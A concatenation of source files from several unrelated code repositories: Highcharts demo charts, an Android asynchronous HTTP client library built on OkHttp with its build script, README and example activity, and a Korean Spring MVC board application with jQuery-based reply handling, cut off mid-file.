<repo_name>ThreeFiveSevenWords/aliyun<file_sep>/js/hchars.js $('#container_1').highcharts({ title: { text: 'Monthly Average Temperature', x: -20 //center }, subtitle: { text: 'Source: WorldClimate.com', x: -20 }, xAxis: { categories: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun','Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'] }, yAxis: { title: { text: 'Temperature (°C)' }, plotLines: [{ value: 0, width: 1, color: '#808080' }] }, tooltip: { valueSuffix: '°C' }, legend: { layout: 'vertical', align: 'right', verticalAlign: 'middle', borderWidth: 0 }, series: [{ name: 'Tokyo', data: [7.0, 6.9, 9.5, 14.5, 18.2, 21.5, 25.2, 26.5, 23.3, 18.3, 13.9, 9.6] }, { name: 'New York', data: [-0.2, 0.8, 5.7, 11.3, 17.0, 22.0, 24.8, 24.1, 20.1, 14.1, 8.6, 2.5] }, { name: 'Berlin', data: [-0.9, 0.6, 3.5, 8.4, 13.5, 17.0, 18.6, 17.9, 14.3, 9.0, 3.9, 1.0] }, { name: 'London', data: [3.9, 4.2, 5.7, 8.5, 11.9, 15.2, 17.0, 16.6, 14.2, 10.3, 6.6, 4.8] }] }); $('#container_2').highcharts({ chart: { type: 'column' }, title: { text: 'Total fruit consumtion, grouped by gender' }, xAxis: { categories: ['Apples', 'Oranges', 'Pears', 'Grapes', 'Bananas'] }, yAxis: { allowDecimals: false, min: 0, title: { text: 'Number of fruits' } }, tooltip: { formatter: function () { return '<b>' + this.x + '</b><br/>' + this.series.name + ': ' + this.y + '<br/>' + 'Total: ' + this.point.stackTotal; } }, plotOptions: { column: { stacking: 'normal' } }, series: [{ name: 'John', data: [5, 3, 4, 7, 2], stack: 'male' }, { name: 'Joe', data: [3, 4, 4, 2, 5], stack: 'male' }, { name: 'Jane', data: [2, 5, 6, 2, 1], stack: 'female' }, { name: 'Janet', data: [3, 0, 4, 4, 3], stack: 'female' }] }); Highcharts.getOptions().colors = Highcharts.map(Highcharts.getOptions().colors, function (color) { return { radialGradient: { cx: 0.5, cy: 0.3, r: 0.7 }, stops: [ [0, color], [1, Highcharts.Color(color).brighten(-0.3).get('rgb')] // darken ] }; }); // Build the chart $('#container_3').highcharts({ chart: { plotBackgroundColor: null, plotBorderWidth: null, plotShadow: false }, title: { text: 'Browser market shares at a specific website, 2014' }, tooltip: { pointFormat: '{series.name}: <b>{point.percentage:.1f}%</b>' }, plotOptions: { pie: { allowPointSelect: true, cursor: 'pointer', dataLabels: { enabled: true, format: '<b>{point.name}</b>: {point.percentage:.1f} %', style: { color: (Highcharts.theme && Highcharts.theme.contrastTextColor) || 'black' }, connectorColor: 'silver' } } }, series: [{ type: 'pie', name: 'Browser share', data: [ ['Firefox', 45.0], ['IE', 26.8], { name: 'Chrome', y: 12.8, sliced: true, selected: true }, ['Safari', 8.5], ['Opera', 6.2], ['Others', 0.7] ] }] }); $('#container_4').highcharts({ chart: { type: 'spline' }, title: { text: 'Wind speed during two days' }, subtitle: { text: 'October 6th and 7th 2009 at two locations in Vik i Sogn, Norway' }, xAxis: { type: 'datetime', labels: { overflow: 'justify' } }, yAxis: { title: { text: 'Wind speed (m/s)' }, min: 0, minorGridLineWidth: 0, gridLineWidth: 0, alternateGridColor: null, plotBands: [{ // Light air from: 0.3, to: 1.5, color: 'rgba(68, 170, 213, 0.1)', label: { text: 'Light air', style: { color: '#606060' } } }, { // Light breeze from: 1.5, to: 3.3, color: 'rgba(0, 0, 0, 0)', label: { text: 'Light breeze', style: { color: '#606060' } } }, { // Gentle breeze from: 3.3, to: 5.5, color: 'rgba(68, 170, 213, 0.1)', label: { text: 'Gentle breeze', style: { color: '#606060' } } }, { // Moderate breeze from: 5.5, to: 8, color: 'rgba(0, 0, 0, 0)', label: { text: 'Moderate breeze', style: { color: '#606060' } } }, { // Fresh breeze from: 8, to: 11, color: 'rgba(68, 170, 213, 0.1)', label: { text: 'Fresh breeze', style: { color: '#606060' } } }, { // Strong breeze from: 11, to: 14, color: 'rgba(0, 0, 0, 0)', label: { text: 'Strong breeze', style: { color: '#606060' } } }, { // High wind from: 14, to: 15, color: 'rgba(68, 170, 213, 0.1)', label: { text: 'High wind', style: { color: '#606060' } } }] }, tooltip: { valueSuffix: ' m/s' }, plotOptions: { spline: { lineWidth: 4, states: { hover: { lineWidth: 5 } }, marker: { enabled: false }, pointInterval: 3600000, // one hour pointStart: Date.UTC(2009, 9, 6, 0, 0, 0) } }, series: [{ name: 'Hestavollane', data: [4.3, 5.1, 4.3, 5.2, 5.4, 4.7, 3.5, 4.1, 5.6, 7.4, 6.9, 7.1, 7.9, 7.9, 7.5, 6.7, 7.7, 7.7, 7.4, 7.0, 7.1, 5.8, 5.9, 7.4, 8.2, 8.5, 9.4, 8.1, 10.9, 10.4, 10.9, 12.4, 12.1, 9.5, 7.5, 7.1, 7.5, 8.1, 6.8, 3.4, 2.1, 1.9, 2.8, 2.9, 1.3, 4.4, 4.2, 3.0, 3.0] }, { name: 'Voll', data: [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.1, 0.0, 0.3, 0.0, 0.0, 0.4, 0.0, 0.1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.6, 1.2, 1.7, 0.7, 2.9, 4.1, 2.6, 3.7, 3.9, 1.7, 2.3, 3.0, 3.3, 4.8, 5.0, 4.8, 5.0, 3.2, 2.0, 0.9, 0.4, 0.3, 0.5, 0.4] }], navigation: { menuItemStyle: { fontSize: '10px' } } });
992a4e1202767364407d5b6a94c9872f3d9d06f3
[ "JavaScript" ]
1
JavaScript
ThreeFiveSevenWords/aliyun
1c4c55ff1ff0a243bcc6b56b1e7a2af050434e54
72d8cf55fbb1141666db1e8cb8aa2267381100a0
refs/heads/master
<repo_name>piyushbajaj0704/Balloons-Burster<file_sep>/Balloons/images/.picasaoriginals/.picasa.ini [baloons,sky,balloons,,colors,colorful-fc3de6da55cb176a4c1de84c1fae6d1c_h.jpg] filters=crop64=1,ffffcccc; crop=rect64(ffffcccc) moddate=a0666b43c5bfcf01 width=400 height=500 textactive=0 <file_sep>/Balloons/bin/Debug/AppX/js/utils.js function randomRanged(a, b) { return (Math.floor(Math.random() * (1 + b - a))) + a; } //Random acceleration speed function randomNumRange(from, to) { return Math.floor(Math.random() * (to - from + 1) + from); } function randomBackgroundImg(img) { var images = Array(1); images[0] = "/images/3840x2160.jpg"; images[1] = "/images/sunset_sky.jpg"; images[2] = "/images/blue_sky_and_green_grass-wide.jpg"; images[3] = "/images/blue-sky-landscape-wallpaper.jpg"; images[4] = "/images/2012-10-06_SM-Beach-Sunset-183.jpg"; return images[img]; } <file_sep>/Balloons/images/.picasa.ini [baloons,sky,balloons,,colors,colorful-fc3de6da55cb176a4c1de84c1fae6d1c_h.jpg] backuphash=37826
5f98e734188a352ae56fff4956c0a7df9594d21f
[ "JavaScript", "INI" ]
3
INI
piyushbajaj0704/Balloons-Burster
e0672e88135b9fe788989fb822b4066fe395611b
1101061ed0dc819d36e290d0455a8904452830fb
refs/heads/master
<file_sep>package com.codepath.asynchttpclient; import okhttp3.Callback; public interface AbsCallback extends Callback { } <file_sep>apply plugin: 'com.android.library' apply plugin: 'maven-publish' apply plugin: 'signing' group='com.codepath.libraries' ext { POM_ARTIFACT_ID = "asynchttpclient" POM_NAME = "CodePath Async Http Client" POM_DESCRIPTION = "Async Http Client wrapper using OkHttp" BASE_VERSION = 2 VERSION_NAME = "2.2.0" GROUP = 'com.codepath.libraries' POM_URL = "https://github.com/codepath/android-oauth-handler/" POM_SCM_URL = 'https://github.com/codepath/AsyncHttpClient' POM_LICENCE_NAME = "The Apache Software License, Version 2.0" POM_LICENCE_URL = "http://www.apache.org/licenses/LICENSE-2.0.txt" POM_DEVELOPER_ID = "codepath" POM_DEVELOPER_NAME = "CodePath, Inc." } version = VERSION_NAME android { compileSdkVersion 30 defaultConfig { minSdkVersion 21 targetSdkVersion 30 versionCode BASE_VERSION versionName VERSION_NAME testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" } buildTypes { release { minifyEnabled false proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' } } } dependencies { implementation fileTree(dir: 'libs', include: ['*.jar']) implementation 'androidx.appcompat:appcompat:1.3.0' api "com.squareup.okhttp3:okhttp:4.9.0" api 'com.facebook.stetho:stetho-okhttp3:1.5.1' testImplementation 'junit:junit:4.12' androidTestImplementation 'androidx.test:runner:1.4.0' androidTestImplementation 'androidx.test.espresso:espresso-core:3.4.0' } task androidSourcesJar(type: Jar) { archiveClassifier.set('sources') from android.sourceSets.main.java.srcDirs } // Because the components are created only during the afterEvaluate phase, you must // configure your publications using the afterEvaluate() lifecycle method. afterEvaluate { publishing { publications { // Creates a Maven publication called "release". release(MavenPublication) { // Applies the component for the release build variant. from components.release artifact androidSourcesJar // You can then customize attributes of the publication as shown below. groupId = GROUP artifactId = POM_ARTIFACT_ID version = VERSION_NAME pom { name = POM_NAME url = POM_URL description = POM_DESCRIPTION licenses { license { name = POM_LICENCE_NAME url = POM_LICENCE_URL } } developers { developer { id = POM_DEVELOPER_ID name = POM_DEVELOPER_NAME } } scm { url = POM_SCM_URL } } } } repositories { maven { name = "Sonatype" credentials { username = System.getenv('NEXUS_USERNAME') password = System.<PASSWORD>('<PASSWORD>') } def releasesRepoUrl = 'https://s01.oss.sonatype.org/service/local/staging/deploy/maven2/' def snapshotsRepoUrl = 'https://s01.oss.sonatype.org/content/repositories/snapshots/' url = version.endsWith('SNAPSHOT') ? snapshotsRepoUrl : releasesRepoUrl setUrl(url) } } } } signing { // gpg on MacOS is the same as gpg2 // ln -s /usr/local/bin/gpg /usr/local/bin/gpg2 // Make sure to populate the variables in gradle.properties // signing.gnupg.keyName=XXX // signing.gnupg.passpharse useGpgCmd() sign(publishing.publications) } <file_sep>package com.codepath.asynchttpclient.callback; import android.os.Handler; import android.os.Looper; import com.codepath.asynchttpclient.AbsCallback; import org.jetbrains.annotations.NotNull; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import org.json.JSONTokener; import java.io.IOException; import okhttp3.Call; import okhttp3.Headers; import okhttp3.Response; import okhttp3.ResponseBody; public abstract class JsonHttpResponseHandler implements AbsCallback { private static int INTERNAL_ERROR = 500; public abstract void onSuccess(int statusCode, Headers headers, JSON json); public abstract void onFailure(int statusCode, Headers headers, String response, Throwable throwable); public JsonHttpResponseHandler() { } public class JSON { public JSONObject jsonObject; public JSONArray jsonArray; @Override public String toString() { return String.format("jsonObject=%s, jsonArray=%s", jsonObject, jsonArray); } } @Override public void onFailure(@NotNull Call call, @NotNull IOException e) { this.onFailure(INTERNAL_ERROR, null, e.toString(), e); } @Override public void onResponse(@NotNull Call call, @NotNull final Response response) throws IOException { try (final ResponseBody responseBody = response.body()) { final int responseCode = response.code(); final Headers responseHeaders = response.headers(); final JsonHttpResponseHandler handler = this; Runnable runnable; Handler loopHandler = new Handler(Looper.getMainLooper()); final String responseString = responseBody.string(); if (response.isSuccessful()) { try { final Object jsonResponse = this.parseResponse(responseString); // run on main thread to keep things simple loopHandler.post(new Runnable() { @Override public void run() { JSON json = new JSON(); if (jsonResponse instanceof JSONObject) { json.jsonObject = (JSONObject) jsonResponse; handler.onSuccess(responseCode, responseHeaders, json); } else if (jsonResponse instanceof JSONArray) { json.jsonArray = (JSONArray) jsonResponse; handler.onSuccess(responseCode, responseHeaders, json); } else if (jsonResponse instanceof String) { // In RFC5179 a simple string value is not a valid JSON handler.onFailure(responseCode, responseHeaders, responseString, new JSONException( "Response cannot be parsed as JSON data" + jsonResponse)); } } }); } catch (final JSONException e) { runnable = new Runnable() { @Override public void run() { handler.onFailure(responseCode, responseHeaders, responseString, null); } }; } } else { runnable = new Runnable() { @Override public void run() { handler.onFailure(responseCode, responseHeaders, responseString, new IllegalStateException("Response failed")); } }; loopHandler.post(runnable); } } } protected Object parseResponse(String jsonString) throws JSONException { boolean useRFC5179CompatibilityMode = true; if (jsonString == null) { return null; } Object result = null; //trim the string to prevent start with blank, and test if the string is valid JSON, // because the parser don't do this :(. If JSON is not valid this will return null if (jsonString != null) { jsonString = jsonString.trim(); if (useRFC5179CompatibilityMode) { if (jsonString.startsWith("{") || jsonString.startsWith("[")) { result = new JSONTokener(jsonString).nextValue(); } } else { // Check if the string is an JSONObject style {} or JSONArray style [] // If not we consider this as a string if ((jsonString.startsWith("{") && jsonString.endsWith("}")) || jsonString.startsWith("[") && jsonString.endsWith("]")) { result = new JSONTokener(jsonString).nextValue(); } // Check if this is a String "my String value" and remove quote // Other value type (numerical, boolean) should be without quote else if (jsonString.startsWith("\"") && jsonString.endsWith("\"")) { result = jsonString.substring(1, jsonString.length() - 1); } } } if (result == null) { result = jsonString; } return result; } } <file_sep>package com.codepath.asynchttpclient.callback; import android.os.Handler; import android.os.Looper; import androidx.annotation.Nullable; import com.codepath.asynchttpclient.AbsCallback; import org.jetbrains.annotations.NotNull; import java.io.IOException; import okhttp3.Call; import okhttp3.Headers; import okhttp3.Response; import okhttp3.ResponseBody; public abstract class TextHttpResponseHandler implements AbsCallback { private static int INTERNAL_ERROR = 500; public TextHttpResponseHandler() { } @Override public void onFailure(@NotNull Call call, @NotNull IOException e) { this.onFailure(INTERNAL_ERROR, null, e.toString(), e); } @Override public void onResponse(@NotNull Call call, @NotNull final Response response) throws IOException { final TextHttpResponseHandler handler = this; try (final ResponseBody responseBody = response.body()) { final int responseCode = response.code(); final Headers responseHeaders = response.headers(); Runnable runnable; final String responseString = responseBody.string(); if (response.isSuccessful()) { runnable = new Runnable() { @Override public void run() { handler.onSuccess(responseCode, responseHeaders, responseString); } }; } else { runnable = new Runnable() { @Override public void run() { handler.onFailure(responseCode, responseHeaders, responseString, null); } }; } // run on main thread to keep things simple new Handler(Looper.getMainLooper()).post(runnable); } catch (IOException e) { handler.onFailure(INTERNAL_ERROR, null, e.toString(), e); } } public abstract void onSuccess(int statusCode, Headers headers, String response); public abstract void onFailure(int statusCode, @Nullable Headers headers, String errorResponse, @Nullable Throwable throwable); } <file_sep>api_key="DEMO-API-KEY"<file_sep>package com.codepath.example; import androidx.annotation.Nullable; import androidx.appcompat.app.AppCompatActivity; import android.os.Bundle; import android.os.Environment; import android.util.Log; import android.view.View; import com.codepath.asynchttpclient.AsyncHttpClient; import com.codepath.asynchttpclient.RequestHeaders; import com.codepath.asynchttpclient.RequestParams; import com.codepath.asynchttpclient.callback.BinaryHttpResponseHandler; import com.codepath.asynchttpclient.callback.JsonHttpResponseHandler; import com.codepath.asynchttpclient.callback.TextHttpResponseHandler; import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import okhttp3.Headers; import okhttp3.MediaType; import okhttp3.MultipartBody; import okhttp3.RequestBody; import okhttp3.Response; import okio.BufferedSource; import okio.ByteString; import okio.Okio; public class TestActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_test); } public void onTest(View view) { AsyncHttpClient client = new AsyncHttpClient(); // Basic GET calls // Sending no headers with API key client.get("https://api.thecatapi.com/v1/images/search", new TextHttpResponseHandler() { @Override public void onSuccess(int statusCode, Headers headers, String response) { Log.d("DEBUG", response); } @Override public void onFailure(int statusCode, @Nullable Headers headers, String errorResponse, @Nullable Throwable throwable) { Log.d("DEBUG", errorResponse); } }); client.setReadTimeout(10); client.setConnectTimeout(10); RequestParams params = new RequestParams(); params.put("limit", "5"); params.put("page", 0); RequestHeaders requestHeaders = new RequestHeaders(); requestHeaders.put("x-api-key", BuildConfig.api_key); client.get("https://api.thecatapi.com/v1/images/search", requestHeaders, params, new JsonHttpResponseHandler() { @Override public void onSuccess(int statusCode, Headers headers, JSON json) { Log.d("DEBUG", json.jsonArray.toString()); } @Override public void onFailure(int statusCode, Headers headers, String response, Throwable throwable) { Log.d("DEBUG", response); } }); BufferedSource bufferedSource = Okio.buffer(Okio.source(getResources().openRawResource(R.raw.cat))); try { ByteString source = bufferedSource.readByteString(); RequestBody body = RequestBody.create(source.toByteArray(), MediaType.get("image/jpg")); RequestBody requestBody = new MultipartBody.Builder() .setType(MultipartBody.FORM) .addFormDataPart("file", "cat.jpg", body) .build(); client.post("https://api.thecatapi.com/v1/images/upload", requestHeaders, params, requestBody, new JsonHttpResponseHandler() { @Override public void onSuccess(int statusCode, Headers headers, JSON json) { Log.d("DEBUG", json.toString()); } @Override public void onFailure(int statusCode, Headers headers, String response, Throwable throwable) { Log.d("DEBUG", response); } }); } catch (IOException e) { } client.get("https://cdn2.thecatapi.com/images/6eg.jpg", new BinaryHttpResponseHandler() { @Override public void onSuccess(int statusCode, Headers headers, Response response) { try { // ~/Library/Android/sdk/platform-tools/adb pull /sdcard/Android/data/com.codepath.cpasynchttpclient/files/Pictures/TEST/test.jpg File mediaStorageDir = new File(getExternalFilesDir(Environment.DIRECTORY_PICTURES), "TEST"); // Create the storage directory if it does not exist if (!mediaStorageDir.exists() && !mediaStorageDir.mkdirs()){ Log.d("DEBUG", "failed to create directory"); } // Return the file target for the photo based on filename InputStream data = response.body().byteStream(); File file = new File(mediaStorageDir.getPath() + File.separator + "test.jpg"); FileOutputStream outputStream = new FileOutputStream(file); byte[] buffer = new byte[2048]; int len; while ( (len = data.read(buffer)) != -1) { outputStream.write(buffer, 0, len); } Log.e("DEBUG", "done!"); } catch (IOException e) { Log.e("DEBUG", e.toString()); } } @Override public void onFailure(int statusCode, Headers headers, String response, Throwable throwable) { Log.d("DEBUG", response); } }); } } <file_sep>package com.codepath.asynchttpclient; import java.util.HashMap; public class RequestHeaders extends HashMap<String, String> { } <file_sep>package com.codepath.asynchttpclient; import java.util.HashMap; public class RequestParams extends HashMap<String, String> { public void put(String key, int value) { if (key != null) { super.put(key, String.valueOf(value)); } } public void put(String key, long value) { if (key != null) { super.put(key, String.valueOf(value)); } } public void put(String key, boolean value) { if (key != null) { super.put(key, String.valueOf(value)); } } } <file_sep># AsyncHttpClient library This is a lightweight asynchronous HTTP client powered by [OkHttp](https://square.github.io/okhttp/) but with a significantly simplified and easier to use API design. The goal of this library is to have an API that clearly and cleanly supports the following features: * Asynchronous network requests without any need for manual thread handling * Response `onSuccess` callbacks run on the mainthread (by default) * Easy way to catch all errors and failures and handle them * Easy pluggable Text, JSON, and Bitmap response handlers to parse the response This client tries to follow a similar API inspired by this [older now deprecated android-async-http library](https://github.com/android-async-http/android-async-http). ## Setup To use this library, add the following to your `.gradle` file: ```gradle dependencies { implementation 'com.codepath.libraries:asynchttpclient:2.1.1' } ``` ## Basic usage 1. Make sure all network calls are using `https://` instead of `http://` 2. Verify that network access is allowed via the `<uses-permission>`: ```xml <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.codepath.example"> <uses-permission android:name="android.permission.INTERNET" />``` ``` 3. Add any networking calls by leveraging the `AsyncHttpClient` ```java AsyncHttpClient client = new AsyncHttpClient(); client.get("https://api.thecatapi.com/v1/images/search", new TextHttpResponseHandler() { @Override public void onSuccess(int statusCode, Headers headers, String response) { Log.d("DEBUG", response); } @Override public void onFailure(int statusCode, @Nullable Headers headers, String errorResponse, @Nullable Throwable throwable) { Log.d("DEBUG", errorResponse); } }); ``` This example uses `TextHttpResponseHandler` which presents the response as raw text. We could use the `JsonHttpResponseHandler` instead to have the API response automatically parsed for us into JSON. See [other example calls here](https://github.com/codepath/AsyncHttpClient/blob/master/example/src/main/java/com/codepath/example/TestActivity.java). For more detailed usages, check out the [CodePath Async Http Client Guide](https://guides.codepath.com/android/Using-CodePath-Async-Http-Client).
e29e1b30598861813ac7411e02f36088ff2a0972
[ "Markdown", "Java", "INI", "Gradle" ]
9
Java
codepath/CPAsyncHttpClient
5a88156d21a570690124a7033abda040f340ff0c
a0754c2c3c2a8ce70c3e8835db980f828e06ef56
refs/heads/master
<file_sep>package com.invi.service; import java.util.ArrayList; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import com.invi.domain.ReplyVO; import com.invi.mapper.BoardMapper; import com.invi.mapper.ReplyMapper; // 구현 메서드 @Service public class ReplyServiceImpl implements ReplyService { private static final Logger logger = LoggerFactory.getLogger(ReplyServiceImpl.class); @Autowired private ReplyMapper rmapper; @Autowired private BoardMapper bmapper; // 댓글 쓰기 @Transactional public int register(ReplyVO vo) { logger.info("service register" + vo); bmapper.updateReplycnt(vo.getBno(), 1); return rmapper.insert(vo); } // 댓글 목록 public ArrayList<ReplyVO> getList(int bno) { logger.info("get Reply List of a Board : " + bno); return rmapper.getList(bno); } // 댓글 수정 public int modify(ReplyVO vo) { logger.info("service modify" + vo); return rmapper.update(vo); } // 댓글 삭제 public int remove(int rno) { return rmapper.delete(rno); } } <file_sep>/** * */ $(document).ready(function() { // replyer값 가져오기 // bno값 가져오기 var bno = $("#bno").val(); showList(); function showList() { replyService.getList( {bno:bno}, function(list){ var str=""; for(var i=0; i<list.length; i++) { str+="<div class='contentReplyList'><li class='gReplyer'>"+list[i].replyer+"</li>"; // str=str+"<li>"+list[i].replyer+"</li> str+="<li><textarea rows='6' cols='120' id='modreply"+list[i].rno+"'>"+list[i].reply+"</textarea></li>"; // str=str+"<li>"+list[i].reply+"</li> // str+="<li>"+list[i].replydate+"</li>"; // str=str+"<li>"+list[i].replydate+"</li> str+="<li class='replyBtn'><button class='replymod' id='replymod' data-rno='"+list[i].rno+"'>댓글 수정</button><button class='replydel' data-rno='"+list[i].rno+"'>댓글 삭제</button></li></div>" } $("#replyList").html(str) } ); } // 댓글쓰기 버튼을 클릭하면, $("#replyadd").click(function(e) { // get.jsp에있는 // reply값 가져오기 var reply = $("#reply").val(); alert(reply); alert(bno); // replyService.add({reply:"aaa", replyer:"bbb", bno:2},function(result){alert("cccc");} replyService.add( {reply:reply, replyer:"작성자", bno:bno}, function(result){ // insert가 정상적으로 처리된 후 작업(callback) alert("결과는 : " + result); showList(); } ); }); // 수정 버튼을 클릭하면, $("#replyList").on("click", ".replymod", function(e) { var rno = $(this).data("rno"); var reply=$("#modreply"+rno).val(); alert(rno); alert(reply); replyService.update( {reply:reply,rno:rno}, function(result){ // update가 정상적으로 처리된 후 작업(callback) alert("걸과는 : " + result); showList(); } ) }); // 수정 끝 // 댓글 삭제버튼을 클릭하면, $("#replyList").on("click", ".replydel", function(e) { var rno = $(this).data("rno"); replyService.remove( rno, function(result) { // remove가 정상적으로 처리된 후 작업(callback) alert("걸과는 : " + result); showList(); } ) }) }); var replyService = (function() { function add(reply, callback, error) { // add함수 시작 // alert("aaaa"); console.log("add reply"); $.ajax({ type:"post", url:"/replies/new", // ReplyController 연결부분 data:JSON.stringify(reply), contentType:"application/json; charset=utf-8", success:function(result, status, xhr) { if(callback) { callback(result); } }, error : function(xhr, status, er) { if(error) { error(er); } } }) } // add 함수 끝 function getList(param, callback, error) { // getList함수 시작(댓글 목록 리스트) var bno = param.bno; $.getJSON("/replies/page/"+bno+".json", function(date) { if(callback) { callback(date); } }).fail(function(xhr, status, err) {// getList함수 시작(댓글 목록 리스트) if(error) { error(er); } }); }// getList함수 끝 function update(reply, callback, error) { // update함수 시작 console.log(reply.rno); $.ajax({ type:"put", url:"/replies/"+reply.rno, data:JSON.stringify(reply), contentType:"application/json; charset=utf-8", success:function(result, status, xhr) { if(callback) { callback(result); } }, error : function(xhr, status, er) { if(error) { error(er); } } }); } // update함수 끝 function remove(rno, callback, error) { // delete 함수 시작 $.ajax({ type:"delete", url:"/replies/"+rno, success:function(result, status, xhr) { if(callback) { callback(result); } }, error : function(xhr, status, er) { if(error) { error(er); } } }) } // delete 함수 끝 return { add:add, getList:getList, update:update, remove:remove }; })(); <file_sep>package com.invi.persistence; import static org.junit.Assert.fail; import java.sql.Connection; import javax.sql.DataSource; import org.junit.Test; import org.junit.runner.RunWith; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.test.context.ContextConfiguration; import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; import com.invi.controller.HomeController; @RunWith(SpringJUnit4ClassRunner.class) @ContextConfiguration("file:src/main/webapp/WEB-INF/spring/root-context.xml") public class DataSourceTests { private static final Logger logger = LoggerFactory.getLogger(HomeController.class); @Autowired private DataSource dataSource; @Test public void testConnection() { try(Connection con = dataSource.getConnection()) { logger.info(""+con); } catch(Exception e) { fail(e.getMessage()); } } }<file_sep>package com.invi.service; import com.invi.domain.MemberVO; public interface MemberService { // 회원 가입 정보 등록 public void sign(MemberVO member); // 로그인 public MemberVO login(MemberVO member); } <file_sep>/** * */ $(document).ready(function() { var bno = $("#bno").val() alert(bno); $.getJSON("getAttachList", {bno: bno}, function(arr) { // console.log(arr); var str = ""; $(arr).each(function(i, attach) { // i와 attach는 변수명이기에 아무거나 줘도 된다. // 첨부파일이 이미지이면, if(attach.filetype) { // 대소문자 구분은 console에 찍혀있으니 확인하고 적어주자 var fileCallPath = encodeURIComponent(attach.uploadpath+"/s_"+attach.uuid+"_"+attach.filename); // 대소문자 구분은 console에 찍혀있으니 확인하고 적어주자 str+="<li data-path='"+attach.uploadpath+"' data-uuid='"+attach.uuid+"' data-filename='"+attach.filename+"' data-type='"+attach.filetype+"'><div>"; str+="<img src='/display?filename="+fileCallPath+"'>"; str+="</div></li>"; } else { // 그렇지 않으면 str+="<li data-path='"+attach.uploadpath+"' data-uuid='"+attach.uuid+"' data-filename='"+attach.filename+"' data-type='"+attach.filetype+"'><div>"; str+="<span> "+attach.filename+"</s;apn><br>" str+="<img src='/display?filename="+fileCallPath+"'>"; str+="</div></li>"; } }); // end each 함수 $(".uploadResult ul").html(str); }); // end get JSON }); // end function // {bno: bno} : JSON 타입 // function : callback<file_sep>$(function() { // all_menu를 클릭할 때 $('.all_menu').click(function(){ $('#side').animate({right : '0%'}, 1000); // fixed로 만들어서 스크롤 바가 없어지도록 한다. $('#wrap').css({position : 'fixed'}); return false; }); $('.s_close').click(function() { $('#side').animate({right : '-100%'}, 1000); // fixed를 relative로 만들어 다시 스크롤 바가 생기도록 한다. $('#wrap').css({position : 'relative'}); return false; }); // 사이드 아코디언 메뉴 열기 $('.s_gnb .d1 .m1').click(function() { var d = $(this).siblings('.sub').css('display'); // 디스플레이 속성을 확인한다. if (d == 'block'){ $('.s_gnb .d1 .sub').slideUp(); $('.s_gnb .d1 .m1').removeClass('on'); } else { $('.s_gnb .d1 .sub').slideUp(); $(this).siblings('.sub').slideDown(); $('.s_gnb .d1 .m1').removeClass('on'); $(this).addClass('on'); } return false; }); }); // pc 상단 메뉴바 open/close $(document).ready(function() { $('.menu').on('mouseenter', function() { var d = $(this).siblings('.menu_category').css('display'); if (d == 'block') { $('.menu_category').stop().slideUp(); } else { // $('.menu_category').stop().slideUp(); $(this).siblings('.menu_category').stop().slideDown(); } return false; }); $('.menu_category').on('mouseleave', function() { var d = $(this).css('display'); if (d == 'block') { $('.menu_category').stop().slideUp(); } else { $(this).siblings('.menu_category').stop().slideDown(); } return false; }); // 메인 이미지 슬라이드 효과 $('.coffee_img').slick({ dots: true, infinite: true, speed: 300, slidesToShow: 1, adaptiveHeight: true, autoplay : true }); // store_into 글자 애니메이션 $('.store_info').on('mouseover', function() { $('.store_txt1').stop().fadeIn(2000, function() { $(this).css('display', 'block'); }); $('.store_txt2').stop().fadeIn(2000, function() { $(this).css('display', 'block'); }); }); $('.store_info').on('mouseout', function() { $('.store_txt1').stop().fadeOut(2000, function() { $(this).css('display', 'none'); }); $('.store_txt2').stop().fadeOut(2000, function() { $(this).css('display', 'none'); }); }); // 가게 검색 focus 시 배경 색상 변경 $('.search_text').on('focus', function() { $('.search, .search_btn').css('background-color', '#fff'); $('.search').css('border', '1px solid #bbb'); }).blur(function() { $('.search, .search_btn').css('background-color', '#eee'); $('.search').css('border', 'none'); }) }); <file_sep>package com.invi.controller; import java.util.ArrayList; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.HttpStatus; import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.DeleteMapping; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.PutMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import com.invi.domain.ReplyVO; import com.invi.service.ReplyService; @RestController @RequestMapping("replies") public class ReplyController { private static final Logger logger = LoggerFactory.getLogger(ReplyController.class); @Autowired private ReplyService rservice; // 댓글 쓰기 @PostMapping(value="new", consumes="application/json", produces={MediaType.TEXT_PLAIN_VALUE}) public ResponseEntity<String> create(@RequestBody ReplyVO vo) { logger.info("aaaaaa"+vo); int insertCount = rservice.register(vo); return insertCount==1 ? new ResponseEntity<>("success", HttpStatus.OK) :new ResponseEntity<>(HttpStatus.INTERNAL_SERVER_ERROR); } // 댓글 목록 리스트 @GetMapping(value="page/{bno}", produces= {MediaType.APPLICATION_XML_VALUE, MediaType.APPLICATION_JSON_UTF8_VALUE}) public ResponseEntity<ArrayList<ReplyVO>> getList(@PathVariable("bno") int bno) { return new ResponseEntity<>(rservice.getList(bno),HttpStatus.OK); } // 댓글 수정 @PutMapping(value="/{rno}", consumes="application/json", produces={MediaType.TEXT_PLAIN_VALUE}) public ResponseEntity<String> modify(@RequestBody ReplyVO vo, @PathVariable("rno") int rno){ logger.info("rno"+rno); vo.setRno(rno); int modifyCount = rservice.modify(vo); return 